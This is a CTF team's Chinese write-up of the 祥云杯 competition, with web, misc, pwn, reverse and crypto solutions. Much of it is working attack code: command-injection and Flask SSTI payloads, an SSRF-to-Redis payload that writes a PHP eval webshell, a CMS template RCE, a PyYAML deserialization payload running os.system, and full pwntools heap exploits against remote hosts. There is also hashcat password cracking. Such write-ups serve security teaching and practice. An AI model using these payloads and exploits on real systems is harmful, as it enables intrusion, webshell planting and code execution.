0RAYS-祥云杯writeup

 

大意了,没有做题,掉到了第八


Web

Command

image-20201122234043336

命令执行,ban了很多东西

flag藏在隐藏目录下

payload:

/?url=127.0.0.1|ca""t%09/etc/.findfl?g/fla?.txt

flaskbot

在debug模式下,乱输一个路由可以得到一部分源码

image-20201122234115314

image-20201122234209320

 user = request.form['name']
        resp = make_response(render_template("guess.html",name=user))
        resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
        return resp
    else:
        user=request.cookies.get('user')
        if user == None:
            return render_template("index.html")
        else:
            user=user.encode('utf-8')
            return render_template("guess.html",name=base64.urlsafe_b64decode(user))

@app.route('/guess',methods=['POST'])
def Guess():
    user=request.cookies.get('user')
    if user==None:
        return redirect(url_for("Hello"))
    user=user.encode('utf-8')
    name = base64.urlsafe_b64decode(user)
    num = float(request.form['num'])
    if(num<0):
        return "Too Small"
    elif num>1000000000.0:
        return "Too Large"
    else:
        return render_template_string(guessNum(num,name))

@app.errorhandler(404)
def miss(e):
    return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404

if __name__ == '__main__':
    f_handler=open('/var/log/app.log', 'w')
    sys.stderr=f_handler
    app.run(debug=True, host='0.0.0.0',port=8888) win.

读源码可得user可控。注入点在cookie,要传入base64
payload:读出源码

{{session.__init__.__globals__.__builtins__.open("/app/app.py").read()}}
from flask import Flask,render_template,request,make_response,redirect,url_for,render_template_string
import math
import base64
import sys
app = Flask(__name__)
​
def safe(str): 
    black_list = ['flag','os','system','popen','import','eval','chr','request', 'subprocess','commands','socket','hex','base64','*','?']
    for x in black_list:
        if x in str.lower():
            return "Damn you hacker! You will never"
    return str

def guessNum(num,name):
    l=0
    r=1000000000.0
    mid=(l+r)/2.0
    ret=""
    cnt=0
    while not abs(mid-num)<0.00001:
        cnt=cnt+1
        mid=(l+r)/2.0
        if mid>num:
            r=mid
            ret+="{0}:{1} is too large<br/>".format(cnt,mid)
        else:
            l=mid
            ret+="{0}:{1} is too small<br/>".format(cnt,mid)
        if cnt > 50:
            break
    if cnt < 50:
        ret+="{0}:{1} is close enough<br/>I win".format(cnt,mid)
    else :
        ret+="Wow! {0} win.".format(safe(name))
    return ret

​
@app.route('/',methods=['POST','GET'])
def Hello():
    if request.method == "POST":
        user = request.form['name']
        resp = make_response(render_template("guess.html",name=user))
        resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
        return resp
    else:
        user=request.cookies.get('user')
        if user == None:
            return render_template("index.html")
        else:
            user=user.encode('utf-8')
            return render_template("guess.html",name=base64.urlsafe_b64decode(user))
​
@app.route('/guess',methods=['POST'])
def Guess():
    user=request.cookies.get('user')
    if user==None:
        return redirect(url_for("Hello"))
    user=user.encode('utf-8')
    name = base64.urlsafe_b64decode(user)
    num = float(request.form['num'])
    if(num<0):
        return "Too Small"
    elif num>1000000000.0:
        return "Too Large"
    else:
        return render_template_string(guessNum(num,name))
​
@app.errorhandler(404)
def miss(e):
    return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404
​
if __name__ == '__main__':
    f_handler=open('/var/log/app.log', 'w')
    sys.stderr=f_handler
    app.run(debug=True, host='0.0.0.0',port=8888) win.
​
{{session.__init__.__globals__.__builtins__['ev'+'al']("__imp"+"ort__('o'+'s').listdir('/')")}}

最终payload

{{session.__init__.__globals__.__builtins__.open("/super_secret_fl""ag.txt").read()}}

easygogogo

大概是非预期了

先开一个容器 任意注册账号,进入上传

构造目录穿越到根目录下的flag路径,记录返回cookie

再开一个容器,任意上传文件后进入show

利用之前flag的cookie可读flag

解码得到flag

doyouknowssrf

GACTF2020 SSSRFME原题

参考https://mp.weixin.qq.com/s/0cOsuIFJwHbHIYvluQq4WQ

尝试导入so文件反弹shell失败了

直接写马到web路径

payload:

?url=http://root@127.0.0.1:5000@www.baidu.com/?url=http://127.0.0.1:6379?%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

蚁剑访问得flag

easyzzz

我们的CBCTF的dangerous-function中已经用过ZZZCMS的前台RCE出过题了,所以绕了waf拿到一血
参考https://www.anquanke.com/post/id/212808
搜索框可以交互,试了下最简单的标签

{if:1>2}45645646{end if}

发现被ban,大概也知道是这个地方了,试了下 if 貌似会ban
去官方文档看了下http://help.zzzcms.com/259327

发现了这样的写法

{if:{zzz:userid}>0}
已登录结果
{else}
未登录结果
{end if}

然后想着拼接出if,找了下发现了这个标签,试了下可以

{leftstr:e,1}

拼接一下end if,没问题

{leftstr:e,1}{leftstr:n,1}{leftstr:d,1} {leftstr:i,1}{leftstr:f,1}

去源码看了下,是先解析leftstr标签,再解析if标签的

那么拼一下,看一下目录,然后拿flag

{{leftstr:i,1}{leftstr:f,1}:var_dump(`cat /flag`)}453245432532{{leftstr:e,1}{leftstr:n,1}{leftstr:d,1} {leftstr:i,1}{leftstr:f,1}}

profile system

上传yaml文件,并且能看和下载文件,下载位置发现了目录穿越,读到了源码

app.py

from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}
def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower()
@app.route("/")
def index():
    session['priviledge'] = 'guest'
    return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
    file = request.files["file"]
    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
        flash('Please upload yaml/yml only.')
        return redirect("/")
    else:
        dirname = md5(request.remote_addr.encode()).hexdigest()
        filename = file.filename
        session['filename'] = filename
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html",path = os.path.join(dirname, filename))

@app.route("/uploads/<path:path>")
def uploads(path):
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))

@app.route("/view")
def view():
    dirname = md5(request.remote_addr.encode()).hexdigest()
    realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
    if session['priviledge'] =='elite' and os.path.isfile(realpath):
        try:
            with open(realpath,'rb') as f:
                data = f.read()
                if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
                    info = {'user': 'elite-user'}
                    flash('Sth weird...')
                else:
                    info = yaml.load(data)
                if info['user'] == 'Administrator':
                    flash('Welcome admin!')
                else:
                    raise ()
        except:
            info = {'user': 'elite-user'}
    else:
        info = {'user': 'guest'}
    return render_template("view.html",user = info['user'])

if __name__ == "__main__":
    app.run('0.0.0.0',port=8888,threaded=True)

看懂源码,大概思路是要伪造session ,然后yaml反序列化漏洞
伪造session[‘priviledge’] ==’elite’

yaml.load函数是不安全的

info = yaml.load(data)

正则过滤了一些

re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE)
#主要 .^_`~ 这几个

谷歌搜了一遍发现有个wp
<a href=”https://hackmd.io/@harrier/uiuctf20″”>https://hackmd.io/@harrier/uiuctf20

直接用里面payload,但是没有回显,考虑ping或者curl外带,不成功。

想到刚开始下载yaml文件的功能,于是重定向到那个目录就行了。

user: Administrator
a: !!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x3e\x20\x2e\x2f\x75\x70\x6c\x6f\x61\x64\x73\x2f\x34\x65\x35\x62\x30\x39\x62\x32\x31\x34\x39\x66\x37\x36\x31\x39\x63\x63\x61\x31\x35\x35\x63\x38\x62\x64\x36\x64\x38\x65\x65\x35\x2f\x31\x32\x33\x27\x29" #__import__('os').system('/readflag > ./uploads/4e5b09b2149f7619cca155c8bd6d8ee5/123')

user: Administrator 理论上可以不用写也能出flag,但是写上去能判断你的payload有无错误,报错返回elite-user 没报错返回Administrator


Misc

签到

base64解码,谁能想到签到也是一血呢
flag{qq_group_826566040}

进制反转

下载得到一个rar文件,但是打开显示压缩包文件头已损坏。

当rar被伪加密后,就会显示报这种错误,用010editor打开rar文件,可以发现加密标识位是1,可知是伪加密:

将1修改成0即可正常打开文件,打开文件后获得一个flag.wav文件,但是播放不了。

用010editor打开发现没有头文件,而且中间的数据块也怪怪的,显然需要异或一下。

先查看文件尾,发现flag信息,flag是歌名

整个文件对FF异或,可获得正确的wav文件:

wav文件修复后,可以播放了。但是完全听不懂说的是哪国的语言,利用听歌识曲也没法听出来。

之后发现需要倒放,利用AU将整首歌倒放后声音明显清楚了,然后利用听歌识曲得到这首歌名叫做:

全部改成大写,去掉括号和里面的内容,去掉空格即可得到flag

带音乐家

给了两个文件 一个 decode_it ,一个加密的Doc1.rar

很明显先要解decode_it,然后得到密码解rar

decode_it打开后发现是midi文件,播放没什么特点,放到audacity看了下没有什么

网上搜了下,先试了lsb隐写,但是解不出什么东西,然后搜到了个wp,

Velato是一种使用MIDI文件作为源代码的编程语言

下面谷歌机翻的

然后下载个工具运行一下

这个其实就是rar的密码

解压后发现了doc文档

上面是精灵语,查表后发现是FLAGIS,下面内容base64解密后奇奇怪怪,可能是某种加密吧,于是回头找了找,在rar的注释里发现了东西

每行长度不确定,考虑摩斯密码,解得

AESKEY9219232322

在ecb模式下得到flag

到点了

下载附件得到三个word文档,打开第一个word文档,隐藏里提示密码为八位字母数字

第二个word文档是加密状态的,提取word文档加密的hash值,网上搜到了类似的文章

python3 office2john.py dummy.docx > hash.txt

之后用hashcat跑,题目说的是8位数字和字母,太多了,就先试着用纯数字跑,

hashcat -m 9400 --username hash.txt -a 3 ?d?d?d?d?d?d?d?d -o cracked_pass.txt

然后跑出来了,密码是20201024,后来发现是文档的修改日期

第二个word文档解开密码后能看到图片下面有一块颜色被修改成了白色的数据

改成红色可以看到是AB字符串,猜测是培根密码

利用CyberChef解码,得到:GOODNIGHTSWEETIE

打开第三个word文档,发现无法读取的内容

修改后缀为压缩包,发现4.zip

4.zip里有一个bmp图片,先用zsteg分析一下:

发现有一个wbStego隐写,直接提取提取不出来,需要利用工具wbstego43open。

选择Decode,选择图片,输入密码后,设置保存路径即可获得flag文件

xixixi

下载附件得到一个磁盘文件,装载后得到一张kejin.png,左上角有flag的一小部分

利用DiskGenius装载虚拟磁盘,恢复文件后得到被删除的文件

有用的一共就两个文件,一个是xi.py,一个是xixi.py。得到两段代码:

xixi.py

import struct

class FAT32Parser(object):
    def __init__(self, vhdFileName):
        with open(vhdFileName, 'rb') as f:
            self.diskData = f.read()
        self.DBR_off = self.GetDBRoff()
        self.newData = ''.join(str(self.diskData))

    def GetDBRoff(self):
        DPT_off = 0x1BE
        target = self.diskData[DPT_off+8:DPT_off+12]
        DBR_sector_off, = struct.unpack("<I", target)
        return DBR_sector_off * 512

    def GetFAT1off(self):
        target = self.diskData[self.DBR_off+0xE:self.DBR_off+0x10]
        FAT1_sector_off, = struct.unpack("<H", target)
        return self.DBR_off + FAT1_sector_off * 512

    def GetFATlength(self):
        target = self.diskData[self.DBR_off+0x24:self.DBR_off+0x28]
        FAT_sectors, = struct.unpack("<I", target)
        return FAT_sectors * 512

    def GetRootoff(self):
        FAT_length = self.GetFATlength()
        FAT2_off = self.GetFAT1off() + FAT_length
        return FAT2_off + FAT_length

    def Cluster2FAToff(self, cluster):
        FAT1_off = self.GetFAT1off()
        return FAT1_off + cluster * 4

    def Cluster2DataOff(self, cluster):
        rootDir_off = self.GetRootoff()
        return rootDir_off + (cluster - 2) * 512

xi.py:

import struct
from xixi import FAT32Parser
from xixixi import Padding, picDepartList

def EncodePieces():
    global clusterList
    res = []
    Range = len(picDepartList)    # 58
    # GetRandomClusterList(n) - Generate a random cluster list with length n
    clusterList = GetRandomClusterList(Range)

    for i in range(Range):
        if i != Range - 1:
            newCRC = struct.pack("<I", clusterList[i+1])
            plainData = picDepartList[i][:-4] + newCRC
        else:
            plainData = picDepartList[i]

        # Show the first piece to him, hhh
        if i == 0:
            newPiece = plainData
        else:
            newPiece = ''
            key = clusterList[i] & 0xFE
            for j in plainData:
                newPiece += chr(ord(j) ^ key)
        # Padding() -- Fill to an integral multiple of 512 with \xFF
        res.append(Padding(newPiece))
    return res

可知文件的CRC32被修改了,还被异或了。
写一个逆脚本,跑一下即可得到flag:

import struct
import binascii
from xixi import FAT32Parser

fat=FAT32Parser("new.vhd")

f = open("new.vhd", "rb")
f.seek(0x27bae00)  #定位图片

flag = open("flag.png", "wb")
flag.write(f.read(8)) #写入头文件

key = 0

def read(n):
    global key
    b = b''
    for i in f.read(n):
        b += (i ^ (key & 0xFE)).to_bytes(length=1,byteorder='big',signed=False)
    return b

while 1:
    d = read(8)
    lenth, ctype_type = struct.unpack(">I4s", d)
    #print(lenth,ctype_type) #length 数据长度,ctype_type 数据块类型
    data = read(lenth)
    crc = struct.unpack(">I", read(4))[0]
    #print(crc)
    real_crc = binascii.crc32(ctype_type+data) & 0xffffffff
    #print(real_crc)
    real_data = struct.pack(">I", lenth) + ctype_type + data + struct.pack(">I", real_crc)
    flag.write(real_data)
    if crc != real_crc: #CRC错误的IDAT数据块
        b_endian = struct.pack(">I", crc)
        clusterList = struct.unpack("<I", b_endian)[0]
        #print(clusterList)
        f.seek(fat.Cluster2DataOff(clusterList))
        key = clusterList & 0xfe
    if ctype_type == b"IEND":
        break

PWN

影流之主

限制了函数调用的次数,但是自减操作到-1后就可以随便edit了

exp:

#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='yingliuzhizhu'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
if local:
    p=process("./"+binary_name)
else:
    p=remote('112.126.71.170',45123)
    e=ELF("./"+binary_name)
def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
    sl(str(num))
def add():
    cho(1)
def edit(idx,content):
    cho(3)
    sl(str(idx))
    sl(content)
def show(idx):
    cho(4)
    sl(str(idx))
def delete(idx):
    cho(2)
    sl(str(idx))
def aaa(con):
    cho(5)
    sl(con)

add()
delete(0)
edit(0,p64(0x602060-0x23)+b'a'*(0x30-0x9))
add()
add()
edit(2,b'a'*0x13 + p64(0x602060) + p64(0x601FB0)+b'b'*(0x30-0x24))

show(1)
libc_base = leak_address()-0x6f6a0
print(hex(libc_base+0x6f6a0))

free_hook = libc_base+libc.sym['__free_hook']
malloc_hook = libc_base+libc.sym['__malloc_hook']
print(hex(free_hook))
print(hex(malloc_hook))
one = libc_base+0xf1207
cho(3)
edit(0,p64(0x602060)+p64(malloc_hook-0x23)+b'1'*(0x30-0x11))
edit(1,b'a'*0x23+p64(one)+b'1'*(0x30-0x2c))
ia()

garden

通过给的malloc(0x30)和uaf构造堆块重叠,写one_gadgetd到freehook

exp:

#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='garden'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
if local:
    p=process("./"+binary_name)
else:
    p=remote('8.131.69.237',32452)
def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
    sla('>> ',str(num))
def add(idx,con):
    cho(1)
    sla('index?',str(idx))
    sla('name?',con)
def show(idx):#1
    cho(3)
    sla('index?',str(idx))
def delete(idx):
    cho(2)
    sla('index?',str(idx))
def uaf(idx):#1
    cho(5)
    sla('steal?',str(idx))
def add2():#1
    cho(6)

for i in range(9):
    add(i,'a')
for i in range(7):
    delete(8-i)
uaf(1)
show(1)
ru('\x0a')
libc_base = leak_address() - 0x1e4ca0
print(hex(libc_base))

delete(0)
add2()

for i in range(7):
    add(8-i,'a')
add(0,'a')
delete(1)
delete(0)
for i in range(2,9):
    delete(i)
for i in range(3,8):
    add(i,'b')
free_hook = libc_base+libc.sym['__free_hook']
malloc_hook = libc_base+libc.sym['__malloc_hook']
print(hex(free_hook))
print(hex(malloc_hook))
one = libc_base + 0xe2383 
add(0,b'a'*0xd0+p64(0)+p64(0x111)+p64(free_hook))
add(1,'b'*8)
add(2,p64(one))
cho(2)
sla('index?',str(0))
ia()

Beauty_Of_ChangChun

smallbin stash打随机数

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='changchun'
#libc_name=''
if local:
    p=process("./"+binary_name)
else:
    p=remote('112.126.71.170',43652)
    e=ELF("./"+binary_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
    sla("scenery\n",str(num))
def add(size):
    cho(1)
    sla("size:",str(size))
def delete(idx):
    cho(2)
    sla("idx:",str(idx))
def show(idx):
    cho(4)
    sla("idx:",str(idx))
def edit(idx,data):
    cho(3)
    sla("idx:",str(idx))
    sa("chat:",data)
def gift1(idx):
    cho(5)
    sla("idx",str(idx))
def gift2():
    cho(666)

p.recvline()
addr = int(p.recvline()[:-1],16)


for i in range(7):
    add(0xf0)
    delete(0)
add(0xf0)#0
add(0xf0)#1
add(0x80)#2
delete(0)
delete(1)

add(0x100)#0
add(0xe0)#1
delete(1)
add(0x100)#1
delete(2)
add(0x90)#2


delete(0)
edit(0,'aaaa')
delete(0)
show(0)
p.recvuntil('see\n')
heap_base = leak_address()-0x2a0-0x700
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')

delete(1)
show(1)
p.recvuntil('see\n')
libc_base = leak_address()-0x1ebbe0
print(hex(heap_base),hex(libc_base))
delete(0)
gift2()
cho(5)
sl(p64(heap_base+0xc20)+p64(addr-0x10))

delete(2)
add(0x100)
edit(2,p64(libc_base+0x1ebce0))
print(hex(addr))

gift1(2)
ia()

babypwn

free之后没清空,可以利用残留数据,任意地址写和任意函数执行

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='pwn'
libc_name='libc-2.23.so'
if local:
    p=process("./"+binary_name)
    libc=ELF("./"+libc_name)
else:
    p=remote('8.131.69.237',52642)
    e=ELF("./"+binary_name)
    libc=ELF("./"+libc_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
    sla("choice:",str(num))
def init():
    cho(1)
def create():
    cho(2)
def add(size):
    cho(3)
    sla("size:",str(size))
def edit(data):
    cho(4)
    sla("content:",data)
def show():
    cho(5)
def size():
    cho(6)

init()
create()
init()
add(0x80)
show()
p.recvuntil('show:\n')
libc_base = u64(p.recv(8))-0x3c4b78
heap_base = u64(p.recv(8))
print(hex(libc_base),hex(heap_base))

free_hook = libc_base+libc.sym['__free_hook']
free_addr = libc_base+libc.sym['free']
system = libc_base+libc.sym['system']
#system = libc_base+0x45226
binsh = heap_base
menu_addr = 0x400D20
edit(p64(heap_base+0x10)+p64(heap_base)+p64(0x38323131313131)+p64(0)+p64(menu_addr))
size()
edit(p64(heap_base+0x10)+p64(free_hook)+p64(0x38323131313131)+p64(0)+p64(menu_addr)+b'a'*8*11+p64(0x90)+p64(0x21)+p64(heap_base)+p64(0)*2+p64(0x91)+b'/bin/sh\x00')
size()
edit(p64(system))
init()
ia()

Reverse

apk1

apk文件,java层的逻辑就是获取输入然后传进native的check函数,so中有一个混淆视听的函数check1,但check函数是动态注册的。我们可以用frida hook check中的关键部分,结合算法特征,check中函数的参数和返回值识别加密算法,最终发现是RC4和ECB的DES,hook得到密钥,解密即为flag。

frida脚本

Java.perform(function () {
    //Module.getBaseAddress('libnative-lib.so').add(0x8295)
    Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xE748),{
        onEnter:function(args){
                console.log("-------------------sub_e748---------------------");
                this.arg1 = args[1];
                console.log(hexdump(args[0], {
                        offset: 0,
                        length: 10,
                        header: true,
                        ansi: true
                      }));
                      console.log(hexdump(args[1], {
                        offset: 0,
                        length: 10,
                        header: true,
                        ansi: true
                      }));
                      console.log(hexdump(args[2], {
                        offset: 0,
                        length: 50,
                        header: true,
                        ansi: true
                      }));
                },
        onLeave:function(retval){
                console.log(retval);
                console.log("-------------------sub_e748-leave---------------");
                console.log(hexdump(this.arg1, {
                    offset: 0,
                    length: 10,
                    header: true,
                    ansi: true
                  }));
        }
    });
    /*
    Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xDB0C),{
        onEnter:function(args){

                console.log("-------------------sub_DB0C---------------------");
                this.arg2 = args[2];
                console.log(hexdump(args[0], {
                        offset: 0,
                        length: 10,
                        header: true,
                        ansi: true
                      }));
                      console.log(hexdump(args[1], {
                        offset: 0,
                        length: 10,
                        header: true,
                        ansi: true
                      }));
                      console.log(hexdump(args[2], {
                        offset: 0,
                        length: 10,
                        header: true,
                        ansi: true
                      }));
                },
        onLeave:function(retval){
                console.log(retval);
                console.log("-------------------sub_DB0C-leave---------------");
                console.log(hexdump(this.arg2, {
                    offset: 0,
                    length: 10,
                    header: true,
                    ansi: true
                  }));
        }
    });
    Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xD808),{
        onEnter:function(args){
                //this.var_arg0 = args[0];
                //console.log('str='+Memory.readUtf8String(args[1]));
                console.log("-------------------sub_d808---------------------");
                this.arg1 = args[1];
                console.log(hexdump(args[0], {
                        offset: 0,
                        length: 10,
                        header: true,
                        ansi: true
                      }));
                },
        onLeave:function(retval){
                console.log(retval);
                console.log("-------------------sub_d808-leave---------------");
                console.log(hexdump(this.arg1, {
                        offset: 0,
                        length: 10,
                        header: true,
                        ansi: true
                      }));
        }
    });*/
    Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xE260),{
        onEnter:function(args){
                },
        onLeave:function(retval){
                console.log("sub_E260 returned with "+retval);
        }
    });
    //sub_E5D0
    Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xE5D0),{
        onEnter:function(args){

                console.log("-------------------sub_E5D0---------------------");
                this.arg1 = args[1];
                console.log(hexdump(args[0], {
                        offset: 0,
                        length: 50,
                        header: true,
                        ansi: true
                      }));
                      console.log(hexdump(args[1], {
                        offset: 0,
                        length: 10,
                        header: true,
                        ansi: true
                      }));
                },
        onLeave:function(retval){
                console.log(retval);
                console.log("-------------------sub_E5D0-leave---------------");
                console.log(hexdump(this.arg1, {
                    offset: 0,
                    length: 50,
                    header: true,
                    ansi: true
                  }));
        }
    });
    var a = Java.use('com.test.third.MainActivity');
    a.check.implementation=function(p1){
            console.log(p1);
            return this.check(p1);
    };
 });

RE1

题目主函数非常巨大,无法F5,使用idaemu和unicorn模拟执行来辅助我们逆向算法。

from idaemu import *
a = Emu(UC_ARCH_X86, UC_MODE_64)
a.setData(0x80000000,'1234567890abcdefghij123456789012')
a.eFunc(0x810, 0x6d3,[0x80000000,32])
flag=''
for i in a.curUC.mem_read(0x80000000,32):
print hex(i)

打印出来发现题目对输入的变换就是一个简单的加法,提取出密文减回去即可。

addr = 0x18096
end_addr = 0x181cf
arr=[]
while(addr!=end_addr):
    if(GetMnem(addr)=='cmp'):
        arr.append(GetOperandValue(addr,1))
    addr = NextHead(addr)
flag=''
for i in arr:
    if(i>=0xe8):
        flag+='0123456789'[i-0xe8]
    else:
        flag+='abcdef'[i-0x19]
print flag

Crypto

simplersa

wiener_attack,根据d的bit_legnth来judge。

exp:

#coding:utf-8
import gmpy2
from Crypto.Util.number import *

def transform(x,y):       #使用辗转相处将分数 x/y 转为连分数的形式
    res=[]
    while y:
        res.append(x//y)
        x,y=y,x%y
    return res

def continued_fraction(sub_res):
    numerator,denominator=1,0
    for i in sub_res[::-1]:      #从sublist的后面往前循环
        denominator,numerator=numerator,i*numerator+denominator
    return denominator,numerator   #得到渐进分数的分母和分子,并返回


#求解每个渐进分数
def sub_fraction(x,y):
    res=transform(x,y)
    res=list(map(continued_fraction,(res[0:i] for i in range(1,len(res)))))  #将连分数的结果逐一截取以求渐进分数
    return res

#以上是获得e/n的连分数

def get_pq(a,b,c):      #由p+q和pq的值通过维达定理来求解p和q
    par=gmpy2.isqrt(b*b-4*a*c)   #由上述可得,开根号一定是整数,因为有解
    x1,x2=(-b+par)//(2*a),(-b-par)//(2*a)
    return x1,x2

def wienerAttack(e,n):
    for (d,k) in sub_fraction(e,n):  #用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数
        #if k==0:                     #可能会出现连分数的第一个为0的情况,排除
            #continue
        #if (e*d-1)%k!=0:             #ed=1 (\pmod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
            #continue
        if 250<=d.bit_length()<=256:
            print(d) 
            global c 
            print(long_to_bytes(pow(c,d,n)))
        else:
            continue
        phi=(e*d-1)//k               #这个结果就是 φ(n)
        px,qy=get_pq(1,n-phi+1,n)
        if px*qy==n:
            p,q=abs(int(px)),abs(int(qy))     #可能会得到两个负数,负负得正未尝不会出现
            d=gmpy2.invert(e,(p-1)*(q-1))     #求ed=1 (\pmod  φ(n))的结果,也就是e关于 φ(n)的乘法逆元d
            return d
    print("该方法不适用")


e=1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679 
n=1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
c=1079929174110820494059355415059104229905268763089157771374657932646711017488701536460687319648362549563313125268069722412148023885626962640915852317297916421725818077814237292807218952574111141918158391190621362508862842932945783059181952614317289116405878741758913351697905289993651105968169193211242144991434715552952340791545323270065763529865010326192824334684413212357708275259096202509042838081150055727650443887438253964607414944245877904002580997866300452
d = wienerAttack(e,n)
print("d=",d)

explosure

dp高位泄露

small_roots解方程

先恢复dp,然后爆破解密

dp=1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985
c=46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616 

e=7621 
n=140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863


#print n-c
a = dp<<200

kbits = 200
PR.<x> = PolynomialRing(Zmod(n))
_e =inverse_mod(e,n)


for kp in range(e):
    try:
        print(kp)
        f = x + a - _e * (1 - kp)
        x0 = f.monic().small_roots(X=2^kbits, beta=0.4)
        print(x0)
        if x0:
            print(x[0])
            break
    except:
        pass

from Crypto.Util.number import *
r=int(x0[0])
dpp = a + r
print (dpp)
def fxxk(n,e,dp):
    for i in range(1,e+1):
        if (dp*e-1)%i == 0:
            if n%(((dp*e-1)/i)+1)==0:
                p=((dp*e-1)/i)+1
                q=n/(((dp*e-1)/i)+1)
                print(p,q)
